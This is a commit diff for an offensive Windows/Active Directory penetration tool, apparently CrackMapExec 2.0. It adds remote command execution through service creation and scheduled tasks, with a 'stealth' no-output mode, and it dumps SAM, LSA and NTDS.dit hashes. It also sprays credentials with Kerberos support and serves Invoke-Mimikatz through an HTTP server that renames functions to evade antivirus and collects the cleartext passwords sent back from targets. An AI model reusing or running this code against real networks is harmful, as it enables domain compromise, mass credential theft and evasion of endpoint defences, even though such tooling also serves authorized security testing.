Everything is set! \o/
Recap on changes: Complete refactor, script broken up to make it readable Kerberos support (!!!! sweeeeet !!!!) Logging has been overhauled (everything sent to stdout gets logged) Added a noOutput attr on all three excution methods Exposed a --no-output option for moar stealth when executing commands Exposed a --lsa option to dump LSA secrets Exposed the -history and -pwdLastSet options from secretdump Fixed passpoldumper Fixed the NTDS.dit dumper HTTP/HTTPS server now removes powershell script comments HTTP/HTTPS server randomizes powershell function names to bypass AV on windows 10 --session and --luser output has been made decent (resolves #42) Moar code style changes and bugfixes TODO: hook back up ninja and vss NTDS.dit dumping methods Allow all three execution methods to utilize the smbserver as fallback to retrieve command output expose some options to control remote servicesmain
parent
e84c55dc8c
commit
66dbf87af5
|
@ -25,14 +25,15 @@ class EXECUTOR:
|
|||
elif settings.args.execm == 'smbexec':
|
||||
smb_exec = SMBEXEC(command,
|
||||
'{}/SMB'.format(settings.args.port),
|
||||
settings.args.user,
|
||||
settings.args.user,
|
||||
settings.args.passwd,
|
||||
domain,
|
||||
settings.args.hash,
|
||||
settings.args.aesKey,
|
||||
settings.args.kerb,
|
||||
'SHARE',
|
||||
settings.args.share)
|
||||
settings.args.share,
|
||||
noOutput)
|
||||
smb_exec.run(host)
|
||||
|
||||
elif settings.args.execm == 'atexec':
|
||||
|
@ -42,5 +43,6 @@ class EXECUTOR:
|
|||
domain,
|
||||
settings.args.hash,
|
||||
settings.args.aesKey,
|
||||
settings.args.kerb)
|
||||
settings.args.kerb,
|
||||
noOutput)
|
||||
atsvc_exec.play(host)
|
|
@ -77,7 +77,7 @@ def red(text):
|
|||
return colored(text, 'red', attrs=['bold'])
|
||||
|
||||
def shutdown(exit_code):
|
||||
print colored("[*] ", 'blue', attrs=['bold']) + "KTHXBYE"
|
||||
print_status("KTHXBYE")
|
||||
sys.exit(int(exit_code))
|
||||
|
||||
def root_error():
|
||||
|
|
|
@ -103,7 +103,9 @@ def connect(host):
|
|||
if settings.args.lsa:
|
||||
dumper.dump_LSA()
|
||||
if settings.args.ntds:
|
||||
dumper.dump_NTDS(settings.args.ntds)
|
||||
dumper.dump_NTDS(settings.args.ntds,
|
||||
settings.args.ntds_history,
|
||||
settings.args.ntds_pwdLastSet)
|
||||
dumper.cleanup()
|
||||
|
||||
if settings.args.pass_pol:
|
||||
|
|
|
@ -7,7 +7,7 @@ from impacket import version
|
|||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
||||
from impacket.dcerpc.v5 import transport, samr
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from time import strftime
|
||||
from time import strftime, gmtime
|
||||
|
||||
class PassPolDump:
|
||||
KNOWN_PROTOCOLS = {
|
||||
|
@ -18,7 +18,7 @@ class PassPolDump:
|
|||
def __init__(self, protocols = None,
|
||||
username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False):
|
||||
if not protocols:
|
||||
self.__protocols = SAMRDump.KNOWN_PROTOCOLS.keys()
|
||||
self.__protocols = PassPolDump.KNOWN_PROTOCOLS.keys()
|
||||
else:
|
||||
self.__protocols = [protocols]
|
||||
|
||||
|
@ -40,13 +40,29 @@ class PassPolDump:
|
|||
# Try all requested protocols until one works.
|
||||
entries = []
|
||||
for protocol in self.__protocols:
|
||||
protodef = SAMRDump.KNOWN_PROTOCOLS[protocol]
|
||||
protodef = PassPolDump.KNOWN_PROTOCOLS[protocol]
|
||||
port = protodef[1]
|
||||
|
||||
logging.info("Trying protocol %s..." % protocol)
|
||||
rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos)
|
||||
|
||||
self.get_pass_pol(host)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
|
||||
resp = samr.hSamrConnect(dce)
|
||||
serverHandle = resp['ServerHandle']
|
||||
|
||||
resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
|
||||
domains = resp['Buffer']['Buffer']
|
||||
|
||||
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, domains[0]['Name'])
|
||||
|
||||
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
|
||||
domainHandle = resp['DomainHandle']
|
||||
|
||||
self.get_pass_pol(addr, rpctransport, dce, domainHandle)
|
||||
|
||||
def convert(self, low, high, no_zero):
|
||||
|
||||
|
@ -83,8 +99,7 @@ class PassPolDump:
|
|||
time = str(days) + " minute "
|
||||
return time
|
||||
|
||||
def get_pass_pol(self, host):
|
||||
rpctransport, dce, domainHandle = self.connect(host)
|
||||
def get_pass_pol(self, host, rpctransport, dce, domainHandle):
|
||||
|
||||
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation)
|
||||
|
||||
|
|
|
@ -1,3 +1,4 @@
|
|||
import logging
|
||||
from logger import *
|
||||
from impacket.dcerpc.v5 import transport, srvs, wkst
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
@ -10,6 +11,7 @@ class RPCQUERY():
|
|||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__local_ip = None
|
||||
self.__ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
|
||||
if hashes:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
@ -32,37 +34,45 @@ class RPCQUERY():
|
|||
elif service == 'srvsvc':
|
||||
dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.__ts)
|
||||
|
||||
self.__local_ip = rpctransport.get_smb_server().get_socket().getsockname()[0]
|
||||
return dce, rpctransport
|
||||
|
||||
def enum_lusers(self, host):
|
||||
dce, rpctransport = self.connect(host, 'wkssvc')
|
||||
users_info = {}
|
||||
try:
|
||||
resp = wkst.hNetrWkstaUserEnum(dce, 1)
|
||||
lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']
|
||||
except Exception:
|
||||
resp = wkst.hNetrWkstaUserEnum(dce, 0)
|
||||
lusers = resp['UserInfo']['WkstaUserInfo']['Level0']['Buffer']
|
||||
resp = wkst.hNetrWkstaUserEnum(dce, 1)
|
||||
lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']
|
||||
|
||||
print_succ("{}:{} Logged on users:".format(host, settings.args.port))
|
||||
for luser in lusers:
|
||||
for fname in luser.fields.keys():
|
||||
print_message("{} {}".format(fname, yellow(luser[fname])))
|
||||
for user in lusers:
|
||||
print_att('{}\\{} {} {}'.format(user['wkui1_logon_domain'],
|
||||
user['wkui1_username'],
|
||||
user['wkui1_logon_server'],
|
||||
user['wkui1_oth_domains']))
|
||||
|
||||
def enum_sessions(self, host):
|
||||
dce, rpctransport = self.connect(host, 'srvsvc')
|
||||
session_info = {}
|
||||
level = 502
|
||||
try:
|
||||
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 502)
|
||||
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
|
||||
sessions = resp['InfoStruct']['SessionInfo']['Level502']['Buffer']
|
||||
except Exception:
|
||||
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 0)
|
||||
level = 0
|
||||
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
|
||||
sessions = resp['InfoStruct']['SessionInfo']['Level0']['Buffer']
|
||||
|
||||
print_succ("{}:{} Current active sessions:".format(host, settings.args.port))
|
||||
for session in sessions:
|
||||
for fname in session.fields.keys():
|
||||
print_message("{} {}".format(fname, yellow(session[fname])))
|
||||
if level == 502:
|
||||
if session['sesi502_cname'][:-1] != self.__local_ip:
|
||||
print_att('\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'],
|
||||
session['sesi502_username'],
|
||||
session['sesi502_num_opens'],
|
||||
session['sesi502_time'],
|
||||
session['sesi502_idle_time']))
|
||||
|
||||
elif level == 0:
|
||||
if session['sesi0_cname'][:-1] != self.__local_ip:
|
||||
print_att('\\\\{}'.format(session['sesi0_cname']))
|
||||
|
||||
def enum_disks(self, host):
|
||||
dce, rpctransport = self.connect(host, 'srvsvc')
|
||||
|
@ -74,4 +84,5 @@ class RPCQUERY():
|
|||
print_succ("{}:{} Available disks:".format(host, settings.args.port))
|
||||
for disk in resp['DiskInfoStruct']['Buffer']:
|
||||
for dname in disk.fields.keys():
|
||||
print_att(disk[dname])
|
||||
if disk[dname] != '\x00':
|
||||
print_att(disk[dname])
|
||||
|
|
|
@ -29,7 +29,7 @@ from impacket.dcerpc.v5.dtypes import NULL
|
|||
|
||||
|
||||
class TSCH_EXEC:
|
||||
def __init__(self, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False):
|
||||
def __init__(self, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, noOutput=False):
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
|
@ -38,6 +38,7 @@ class TSCH_EXEC:
|
|||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
self.__command = command
|
||||
self.__noOutput = noOutput
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
|
@ -61,8 +62,6 @@ class TSCH_EXEC:
|
|||
|
||||
def doStuff(self, rpctransport):
|
||||
def output_callback(data):
|
||||
peer = ':'.join(map(str, rpctransport.get_socket().getpeername()))
|
||||
print_succ('{} Executed command via ATEXEC'.format(peer))
|
||||
print_att(data.strip())
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
|
@ -112,11 +111,22 @@ class TSCH_EXEC:
|
|||
<Actions Context="LocalSystem">
|
||||
<Exec>
|
||||
<Command>cmd.exe</Command>
|
||||
<Arguments>/C %s > %%windir%%\\Temp\\%s 2>&1</Arguments>
|
||||
"""
|
||||
if self.__noOutput is False:
|
||||
xml+= """ <Arguments>/C %s > %%windir%%\\Temp\\%s 2>&1</Arguments>
|
||||
</Exec>
|
||||
</Actions>
|
||||
</Task>
|
||||
""" % (self.__command, tmpFileName)
|
||||
|
||||
else:
|
||||
xml+= """ <Arguments>/C %s</Arguments>
|
||||
</Exec>
|
||||
</Actions>
|
||||
</Task>
|
||||
""" % (self.__command)
|
||||
|
||||
logging.info("Task XML: {}".format(xml))
|
||||
taskCreated = False
|
||||
try:
|
||||
logging.info('Creating task \\%s' % tmpName)
|
||||
|
@ -145,26 +155,32 @@ class TSCH_EXEC:
|
|||
if taskCreated is True:
|
||||
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
|
||||
|
||||
smbConnection = rpctransport.get_smb_connection()
|
||||
waitOnce = True
|
||||
while True:
|
||||
try:
|
||||
logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
|
||||
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
|
||||
break
|
||||
except Exception, e:
|
||||
if str(e).find('SHARING') > 0:
|
||||
sleep(3)
|
||||
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
||||
if waitOnce is True:
|
||||
# We're giving it the chance to flush the file before giving up
|
||||
peer = ':'.join(map(str, rpctransport.get_socket().getpeername()))
|
||||
print_succ('{} Executed command via ATEXEC'.format(peer))
|
||||
|
||||
if self.__noOutput is False:
|
||||
smbConnection = rpctransport.get_smb_connection()
|
||||
waitOnce = True
|
||||
while True:
|
||||
try:
|
||||
logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
|
||||
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
|
||||
break
|
||||
except Exception, e:
|
||||
if str(e).find('SHARING') > 0:
|
||||
sleep(3)
|
||||
waitOnce = False
|
||||
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
||||
if waitOnce is True:
|
||||
# We're giving it the chance to flush the file before giving up
|
||||
sleep(3)
|
||||
waitOnce = False
|
||||
else:
|
||||
raise
|
||||
else:
|
||||
raise
|
||||
else:
|
||||
raise
|
||||
logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
|
||||
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
|
||||
|
||||
logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
|
||||
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
|
||||
else:
|
||||
logging.info('Output retrieval disabled')
|
||||
|
||||
dce.disconnect()
|
|
@ -1694,7 +1694,7 @@ class NTDSHashes:
|
|||
|
||||
if self.__pwdLastSet is True:
|
||||
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
|
||||
print answer
|
||||
print_att(answer)
|
||||
|
||||
if self.__history:
|
||||
for i, (LMHashHistory, NTHashHistory) in enumerate(
|
||||
|
@ -1705,7 +1705,7 @@ class NTDSHashes:
|
|||
lmhash = hexlify(LMHashHistory)
|
||||
|
||||
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory))
|
||||
print answer
|
||||
print_att(answer)
|
||||
if outputFile is not None:
|
||||
self.__writeOutput(outputFile, answer + '\n')
|
||||
|
||||
|
@ -1888,7 +1888,7 @@ class NTDSHashes:
|
|||
logging.info('Kerberos keys grabbed')
|
||||
|
||||
for itemKey in self.__kerberosKeys.keys():
|
||||
print itemKey
|
||||
print_att(itemKey)
|
||||
|
||||
# And finally the cleartext pwds
|
||||
if len(self.__clearTextPwds) > 0:
|
||||
|
@ -1898,7 +1898,7 @@ class NTDSHashes:
|
|||
logging.info('ClearText passwords grabbed')
|
||||
|
||||
for itemKey in self.__clearTextPwds.keys():
|
||||
print itemKey
|
||||
print_att(itemKey)
|
||||
|
||||
# Closing output file
|
||||
if self.__outputFileName is not None:
|
||||
|
@ -1940,14 +1940,14 @@ class DumpSecrets:
|
|||
self.__securityHive = None #Local
|
||||
self.__samHive = None #Local
|
||||
self.__ntdsFile = None #Local
|
||||
self.__history = False #Might want to expose this
|
||||
#self.__history = False #Might want to expose this
|
||||
self.__noLMHash = True
|
||||
self.__isRemote = True
|
||||
self.__outputFileName = outputFile
|
||||
self.__doKerberos = kerberos
|
||||
self.__justDC = False #Might want to expose this
|
||||
self.__justDCNTLM = False #Might want to expose this
|
||||
self.__pwdLastSet = False #Might want to expose this
|
||||
self.__justDCNTLM = True #Might want to expose this
|
||||
#self.__pwdLastSet = False #Might want to expose this
|
||||
self.__resumeFileName = None #Might want to expose this
|
||||
|
||||
def getBootKey(self):
|
||||
|
@ -1998,12 +1998,10 @@ class DumpSecrets:
|
|||
def do_remote_ops(self):
|
||||
bootKey = None
|
||||
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos)
|
||||
if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
|
||||
self.__remoteOps.enableRegistry()
|
||||
bootKey = self.__remoteOps.getBootKey()
|
||||
# Let's check whether target system stores LM Hashes
|
||||
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
|
||||
|
||||
self.__remoteOps.enableRegistry()
|
||||
bootKey = self.__remoteOps.getBootKey()
|
||||
# Let's check whether target system stores LM Hashes
|
||||
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
|
||||
self.__bootKey = bootKey
|
||||
|
||||
def dump_SAM(self):
|
||||
|
@ -2035,7 +2033,7 @@ class DumpSecrets:
|
|||
except Exception, e:
|
||||
logging.error('LSA hashes extraction failed: %s' % str(e))
|
||||
|
||||
def dump_NTDS(self, method):
|
||||
def dump_NTDS(self, method, history, pwdLastSet):
|
||||
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
|
||||
vss = False
|
||||
if method == 'vss':
|
||||
|
@ -2044,17 +2042,18 @@ class DumpSecrets:
|
|||
else:
|
||||
NTDSFileName = None
|
||||
|
||||
self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=True, history=self.__history,
|
||||
print_succ("{}:{} Dumping NTDS.dit secrets using the {} method (domain\\uid:rid:lmhash:nthash):".format(self.__remoteAddr, self.__remotePort, method.upper()))
|
||||
self.__NTDSHashes = NTDSHashes(NTDSFileName, self.__bootKey, isRemote=True, history=history,
|
||||
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
|
||||
useVSSMethod=vss, justNTLM=self.__justDCNTLM,
|
||||
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
|
||||
pwdLastSet=pwdLastSet, resumeSession=self.__resumeFileName,
|
||||
outputFileName=self.__outputFileName)
|
||||
try:
|
||||
self.__NTDSHashes.dump()
|
||||
except Exception, e:
|
||||
logging.error(e)
|
||||
if method != 'vss':
|
||||
logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
|
||||
logging.info('Something wen\'t wrong with the DRSUAPI approach')
|
||||
|
||||
def cleanup(self):
|
||||
logging.info('Cleaning up... ')
|
||||
|
|
|
@ -50,8 +50,8 @@ class SMBEXEC:
|
|||
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
||||
}
|
||||
|
||||
def __init__(self, command, protocols = None,
|
||||
username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None):
|
||||
def __init__(self, command, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None, noOutput=False):
|
||||
|
||||
if not protocols:
|
||||
protocols = SMBEXEC.KNOWN_PROTOCOLS.keys()
|
||||
|
||||
|
@ -65,6 +65,7 @@ class SMBEXEC:
|
|||
self.__nthash = ''
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
self.__noOutput = noOutput
|
||||
self.__share = share
|
||||
self.__mode = mode
|
||||
self.shell = None
|
||||
|
@ -96,7 +97,7 @@ class SMBEXEC:
|
|||
if self.__mode == 'SERVER':
|
||||
serverThread = SMBServer()
|
||||
serverThread.start()
|
||||
self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName)
|
||||
self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName, self.__noOutput)
|
||||
self.shell.onecmd(self.__command)
|
||||
self.shell.finish()
|
||||
if self.__mode == 'SERVER':
|
||||
|
@ -107,7 +108,7 @@ class SMBEXEC:
|
|||
self.shell.finish()
|
||||
|
||||
class RemoteShell(cmd.Cmd):
|
||||
def __init__(self, share, rpc, mode, serviceName):
|
||||
def __init__(self, share, rpc, mode, serviceName, noOutput):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.__share = share
|
||||
self.__mode = mode
|
||||
|
@ -117,6 +118,7 @@ class RemoteShell(cmd.Cmd):
|
|||
self.__command = ''
|
||||
self.__shell = '%COMSPEC% /Q /c '
|
||||
self.__serviceName = serviceName
|
||||
self.__noOutput = noOutput
|
||||
self.__rpc = rpc
|
||||
self.intro = '[!] Launching semi-interactive shell - Careful what you execute'
|
||||
|
||||
|
@ -127,19 +129,22 @@ class RemoteShell(cmd.Cmd):
|
|||
logging.critical(str(e))
|
||||
sys.exit(1)
|
||||
|
||||
s = rpc.get_smb_connection()
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
s.setTimeout(100000)
|
||||
if mode == 'SERVER':
|
||||
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
|
||||
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
|
||||
|
||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||
self.__scHandle = resp['lpScHandle']
|
||||
self.transferClient = rpc.get_smb_connection()
|
||||
self.do_cd('')
|
||||
|
||||
if self.__noOutput is False:
|
||||
s = rpc.get_smb_connection()
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
s.setTimeout(100000)
|
||||
self.transferClient = rpc.get_smb_connection()
|
||||
if mode == 'SERVER':
|
||||
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
|
||||
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
|
||||
else:
|
||||
logging.info('Output retrieval disabled')
|
||||
|
||||
#self.do_cd('')
|
||||
|
||||
def finish(self):
|
||||
# Just in case the service is still created
|
||||
|
@ -188,6 +193,10 @@ class RemoteShell(cmd.Cmd):
|
|||
def output_callback(data):
|
||||
self.__outputBuffer += data
|
||||
|
||||
if self.__noOutput is True:
|
||||
self.__outputBuffer = ''
|
||||
return
|
||||
|
||||
if self.__mode == 'SHARE':
|
||||
self.transferClient.getFile(self.__share, self.__output, output_callback)
|
||||
self.transferClient.deleteFile(self.__share, self.__output)
|
||||
|
@ -198,11 +207,17 @@ class RemoteShell(cmd.Cmd):
|
|||
os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
|
||||
|
||||
def execute_remote(self, data):
|
||||
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
||||
if self.__mode == 'SERVER':
|
||||
command += ' & ' + self.__copyBack
|
||||
if self.__noOutput is False:
|
||||
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
||||
if self.__mode == 'SERVER':
|
||||
command += ' & ' + self.__copyBack
|
||||
else:
|
||||
command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
||||
|
||||
command += ' & ' + 'del ' + self.__batchFile
|
||||
|
||||
logging.info('Command in batch file: {}'.format(command))
|
||||
|
||||
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
|
||||
service = resp['lpServiceHandle']
|
||||
|
||||
|
@ -218,5 +233,6 @@ class RemoteShell(cmd.Cmd):
|
|||
self.execute_remote(data)
|
||||
peer = ':'.join(map(str, self.__rpc.get_socket().getpeername()))
|
||||
print_succ("{} Executed command via SMBEXEC".format(peer))
|
||||
print_att(self.__outputBuffer.strip())
|
||||
if self.__noOutput is False:
|
||||
print_att(self.__outputBuffer.strip())
|
||||
self.__outputBuffer = ''
|
||||
|
|
|
@ -10,6 +10,7 @@ import BaseHTTPServer
|
|||
import ssl
|
||||
|
||||
func_name = re.compile('CHANGE_ME_HERE')
|
||||
comments = re.compile('#.+')
|
||||
|
||||
class MimikatzServer(BaseHTTPRequestHandler):
|
||||
|
||||
|
@ -23,6 +24,7 @@ class MimikatzServer(BaseHTTPRequestHandler):
|
|||
with open('hosted/'+ self.path[4:], 'rb') as script:
|
||||
ps_script = script.read()
|
||||
ps_script = func_name.sub(settings.args.obfs_func_name, ps_script)
|
||||
ps_script = comments.sub('', ps_script)
|
||||
self.wfile.write(ps_script)
|
||||
|
||||
elif settings.args.path:
|
||||
|
@ -43,16 +45,19 @@ class MimikatzServer(BaseHTTPRequestHandler):
|
|||
data = self.rfile.read(length)
|
||||
|
||||
if settings.args.mimikatz:
|
||||
buf = StringIO(data).readlines()
|
||||
i = 0
|
||||
while i < len(buf):
|
||||
if ('Password' in buf[i]) and ('(null)' not in buf[i]):
|
||||
passw = buf[i].split(':')[1].strip()
|
||||
if len(passw) != 719: #Sometimes mimikatz gives long hexstrings instead of clear text passwords
|
||||
try:
|
||||
buf = StringIO(data).readlines()
|
||||
i = 0
|
||||
while i < len(buf):
|
||||
if ('Password' in buf[i]) and ('(null)' not in buf[i]):
|
||||
passw = buf[i].split(':')[1].strip()
|
||||
domain = buf[i-1].split(':')[1].strip()
|
||||
user = buf[i-2].split(':')[1].strip()
|
||||
print_succ('{} Found plain text creds! Domain: {} Username: {} Password: {}'.format(self.client_address[0], yellow(domain), yellow(user), yellow(passw)))
|
||||
i += 1
|
||||
|
||||
i += 1
|
||||
except Exception as e:
|
||||
print_error("Error while parsing Mimikatz output: {}".format(e))
|
||||
|
||||
elif settings.args.mimi_cmd:
|
||||
print data
|
||||
|
|
|
@ -41,7 +41,10 @@ def smart_login(host, smb, domain):
|
|||
user, passwd = user_pass.split(':')
|
||||
|
||||
try:
|
||||
smb.login(user, passwd, domain, lmhash, nthash)
|
||||
if settings.args.kerb:
|
||||
smbConnection.kerberosLogin(user, passwd, domain, lmhash, nthash, settings.args.aesKey)
|
||||
else:
|
||||
smb.login(user, passwd, domain, lmhash, nthash)
|
||||
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd))
|
||||
settings.args.user = user
|
||||
settings.args.passwd = passwd
|
||||
|
@ -106,7 +109,10 @@ def smart_login(host, smb, domain):
|
|||
if user == '': user = "''"
|
||||
|
||||
try:
|
||||
smb.login(user, '', domain, lmhash, nthash)
|
||||
if settings.args.kerb:
|
||||
smbConnection.kerberosLogin(user, '', domain, lmhash, nthash, settings.args.aesKey)
|
||||
else:
|
||||
smb.login(user, '', domain, lmhash, nthash)
|
||||
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, ntlm_hash))
|
||||
settings.args.user = user
|
||||
settings.args.hash = ntlm_hash
|
||||
|
@ -122,7 +128,10 @@ def smart_login(host, smb, domain):
|
|||
if passwd == '': passwd = "''"
|
||||
|
||||
try:
|
||||
smb.login(user, passwd, domain)
|
||||
if settings.args.kerb:
|
||||
smbConnection.kerberosLogin(user, passwd, domain, '', '', settings.args.aesKey)
|
||||
else:
|
||||
smb.login(user, passwd, domain)
|
||||
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd))
|
||||
settings.args.user = user
|
||||
settings.args.passwd = passwd
|
||||
|
|
|
@ -24,7 +24,7 @@ import sys
|
|||
import os
|
||||
|
||||
VERSION = '2.0'
|
||||
CODENAME = '\'I have to change the name of this thing\''
|
||||
CODENAME = '\'I gotta change the name of this thing\''
|
||||
|
||||
if sys.platform == 'linux2':
|
||||
if os.geteuid() is not 0:
|
||||
|
@ -39,23 +39,24 @@ parser = argparse.ArgumentParser(description="""
|
|||
\______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______|
|
||||
|
||||
|
||||
Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r
|
||||
Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r
|
||||
|
||||
Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)
|
||||
Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)
|
||||
|
||||
Inspired by:
|
||||
@ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
|
||||
@gojhonny's CredCrack https://github.com/gojhonny/CredCrack
|
||||
@pentestgeek's smbexec https://github.com/pentestgeek/smbexec
|
||||
{}: {}
|
||||
{}: {}
|
||||
Inspired by:
|
||||
@ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
|
||||
@gojhonny's CredCrack https://github.com/gojhonny/CredCrack
|
||||
@pentestgeek's smbexec https://github.com/pentestgeek/smbexec
|
||||
|
||||
{}: {}
|
||||
{}: {}
|
||||
""".format(red('Version'),
|
||||
yellow(VERSION),
|
||||
red('Codename'),
|
||||
yellow(CODENAME)),
|
||||
|
||||
formatter_class=RawTextHelpFormatter,
|
||||
version='2.0 - \'{}\''.format(CODENAME),
|
||||
version='2.0 - {}'.format(CODENAME),
|
||||
epilog='There\'s been an awakening... have you felt it?')
|
||||
|
||||
parser.add_argument("-t", type=int, dest="threads", default=10, help="Set how many concurrent threads to use (defaults to 10)")
|
||||
|
@ -65,7 +66,7 @@ parser.add_argument("-H", metavar="HASH", dest='hash', type=str, default=None, h
|
|||
parser.add_argument("-C", metavar="COMBO_FILE", dest='combo_file', type=str, default=None, help="Combo file containing a list of domain\\username:password or username:password entries")
|
||||
parser.add_argument('-k', action="store", dest='aesKey', metavar="HEX_KEY", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
|
||||
parser.add_argument("-d", metavar="DOMAIN", dest='domain', default=None, help="Domain name")
|
||||
parser.add_argument("-n", metavar='NAMESPACE', dest='namespace', default='//./root/cimv2', help='WMI Namespace (default //./root/cimv2)')
|
||||
parser.add_argument("-n", metavar='NAMESPACE', dest='namespace', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)')
|
||||
parser.add_argument("-s", metavar="SHARE", dest='share', default="C$", help="Specify a share (default: C$)")
|
||||
parser.add_argument('--kerb', action="store_true", dest='kerb', help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters')
|
||||
parser.add_argument("--port", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
|
||||
|
@ -78,6 +79,8 @@ rgroup = parser.add_argument_group("Credential Gathering", "Options for gatherin
|
|||
rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
|
||||
rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems')
|
||||
rgroup.add_argument("--ntds", choices={'vss', 'drsuapi', 'ninja'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)")
|
||||
rgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
|
||||
rgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
|
||||
rgroup.add_argument("--mimikatz", action='store_true', help='Run Invoke-Mimikatz (sekurlsa::logonpasswords) on target systems')
|
||||
rgroup.add_argument("--mimikatz-cmd", metavar='MIMIKATZ_CMD', help='Run Invoke-Mimikatz with the specified command')
|
||||
